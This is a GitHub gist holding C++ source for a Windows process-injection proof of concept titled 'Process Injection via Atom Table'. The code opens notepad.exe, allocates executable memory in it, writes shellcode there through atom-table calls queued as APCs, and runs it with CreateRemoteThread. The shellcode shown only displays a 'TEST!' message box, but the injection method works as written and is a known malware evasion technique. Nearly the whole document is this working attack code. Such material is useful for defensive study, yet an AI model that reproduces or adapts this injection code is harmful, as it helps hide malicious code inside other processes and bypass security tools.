Skip to content

Instantly share code, notes, and snippets.

@3ts75
Created May 7, 2020 01:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 3ts75/3cab225882d3cd48c83781e685fccfae to your computer and use it in GitHub Desktop.
Save 3ts75/3cab225882d3cd48c83781e685fccfae to your computer and use it in GitHub Desktop.
Process Injection via Atom Table
#include <iostream>
#include <vector>
using namespace std;
#include <string.h>
#include <Windows.h>
#include <TlHelp32.h>
using _NtQueueApcThread = NTSTATUS(NTAPI*)(
_In_ HANDLE ThreadHandle,
_In_ PVOID ApcRoutine,
_In_ PVOID ApcRoutineContext OPTIONAL,
_In_ PVOID ApcStatusBlock OPTIONAL,
_In_ PVOID ApcReserved OPTIONAL
);
DWORD name2pid(LPCWSTR ProcessName) {
DWORD dwProcessId = 0;
LPPROCESSENTRY32 lppe = new PROCESSENTRY32();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
lppe->dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, lppe)) {
do {
if (lstrcmp(lppe->szExeFile, ProcessName) == 0) {
dwProcessId = lppe->th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, lppe));
}
CloseHandle(hSnapshot);
return dwProcessId;
}
VOID pid2tid(DWORD dwProcessId, std::vector<DWORD>& vecdwThreadId) {
LPTHREADENTRY32 lpte = new THREADENTRY32();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
lpte->dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, lpte)) {
do {
if (lpte->th32OwnerProcessID == dwProcessId)
vecdwThreadId.push_back(lpte->th32ThreadID);
} while (Thread32Next(hSnapshot, lpte));
}
CloseHandle(hSnapshot);
}
ULONGLONG MessageBoxAddress = NULL;
ULONGLONG RtlExitUserThreadAddress = NULL;
VOID FindFunctionAddresses() {
HMODULE hUser32 = LoadLibraryA("user32");
MessageBoxAddress = (ULONGLONG)GetProcAddress(hUser32, "MessageBoxA");
RtlExitUserThreadAddress = (ULONGLONG)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
}
VOID ApcWriteProcessMemoryString(vector<HANDLE>& vechThread, PVOID BaseAddress, PBYTE Buffer) {
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
ATOM Atom = 0;
if (Atom = GlobalAddAtom((LPCWSTR)Buffer)) {
cout << "Find: " << Buffer << endl;
}
else {
cout << "Unfind" << endl;
return;
}
for (HANDLE hThread : vechThread) {
SuspendThread(hThread);
NtQueueApcThread(hThread, GlobalGetAtomName, (PVOID)Atom, BaseAddress, (PVOID)0xff);
ResumeThread(hThread);
}
Sleep(5000);
if (Atom)
GlobalDeleteAtom(Atom);
}
VOID ApcWriteProcessMemoryNULL(vector<HANDLE>& vechThread, PVOID BaseAddress, ATOM Atom) {
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
for (HANDLE hThread : vechThread) {
SuspendThread(hThread);
NtQueueApcThread(hThread, GlobalGetAtomName, (PVOID)Atom, BaseAddress, (PVOID)0xff);
ResumeThread(hThread);
}
Sleep(5000);
}
VOID ApcWriteProcessMemory(vector<DWORD>& vecdwThreadId, PVOID BaseAddress, BYTE* Buffer, DWORD Size) {
BYTE Zero[] = "";
ATOM ZeroAtom = 0;
ZeroAtom = GlobalAddAtom((LPCWSTR)Zero);
if (ZeroAtom == NULL) {
cout << "Error" << endl;
return;
}
vector<HANDLE> vechThread;
for (DWORD dwThreadId : vecdwThreadId)
vechThread.push_back(OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId));
BYTE WriteBuffer[255];
SIZE_T BytesWritten = 0;
PVOID BeforeAddress = Buffer;
PVOID WriteAddress = Buffer;
SIZE_T WriteSize = 0;
PVOID EndAddress = Buffer + Size - 1;
SIZE_T ZeroCount = 0;
BOOL Flag = TRUE;
do {
ZeroMemory(WriteBuffer, sizeof(WriteBuffer));
WriteAddress = (PVOID)strchr((const char*)BeforeAddress, '\x00');
if (BeforeAddress != WriteAddress) {
WriteSize = (DWORD64)WriteAddress - (DWORD64)BeforeAddress;
cout << WriteSize << endl;
memcpy_s(WriteBuffer, sizeof(WriteBuffer), BeforeAddress, WriteSize);
ApcWriteProcessMemoryString(vechThread, BaseAddress, WriteBuffer);
BaseAddress = (PVOID)((DWORD64)BaseAddress + WriteSize+0x1);
}
else
{
ApcWriteProcessMemoryNULL(vechThread, BaseAddress, ZeroAtom);
BaseAddress = (PVOID)((DWORD64)BaseAddress + 0x1);
}
BeforeAddress = (PVOID)((DWORD64)WriteAddress + 0x1);
ZeroCount++;
} while (WriteAddress < EndAddress);
cout << ZeroCount << endl;
if (vechThread.size())
for (HANDLE hThread : vechThread)
CloseHandle(hThread);
if (ZeroAtom)
GlobalDeleteAtom(ZeroAtom);
}
int main() {
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
if (LoadLibraryA("user32") == NULL) {
cout << "Unloaded" << endl;
}
DWORD pid = name2pid(TEXT("notepad.exe"));
if (pid == 0)
return 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID RemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
cout << "Allocated memory: " << RemoteShellcode << endl;
vector<DWORD> vecdwThreadId;
pid2tid(pid, vecdwThreadId);
BYTE Shellcode[] = {
0x48, 0x83, 0xec, 0x38,
0x48, 0x83, 0xe4, 0xf0,
0x48, 0xc7, 0xc1, 0x00, 0x00, 0x00,0x00,
0x48, 0xba, 0x12, 0x12, 0x12, 0x12, 0x12,
0x12, 0x12, 0x12,
0x48, 0xba, 0x23, 0x23, 0x23, 0x23, 0x23,
0x23, 0x23, 0x23,
0x45, 0x33, 0xc9,
0x48, 0xb8, 0x34, 0x34, 0x34, 0x34, 0x34,
0x34, 0x34, 0x34,
0xff, 0xd0,
0x48, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00,
0x48, 0xb8, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45,
0xff, 0xd0,
'T', 'E', 'S', 'T', '!', 0x00,
};
unsigned char atom_test_code[] = { 0x7d, 0x8d, 0xc2, 0x01 };
FindFunctionAddresses();
*((ULONGLONG*)&Shellcode[0x11]) = (ULONGLONG)RemoteShellcode + 0x45;
*((ULONGLONG*)&Shellcode[0x1b]) = (ULONGLONG)RemoteShellcode + 0x45;
*((ULONGLONG*)&Shellcode[0x28]) = MessageBoxAddress;
*((ULONGLONG*)&Shellcode[0x3b]) = RtlExitUserThreadAddress;
ApcWriteProcessMemory(vecdwThreadId, RemoteShellcode, Shellcode, sizeof(Shellcode));
CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)RemoteShellcode, NULL, NULL, NULL);
CloseHandle(hProcess);
cout << GetLastError() << endl;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment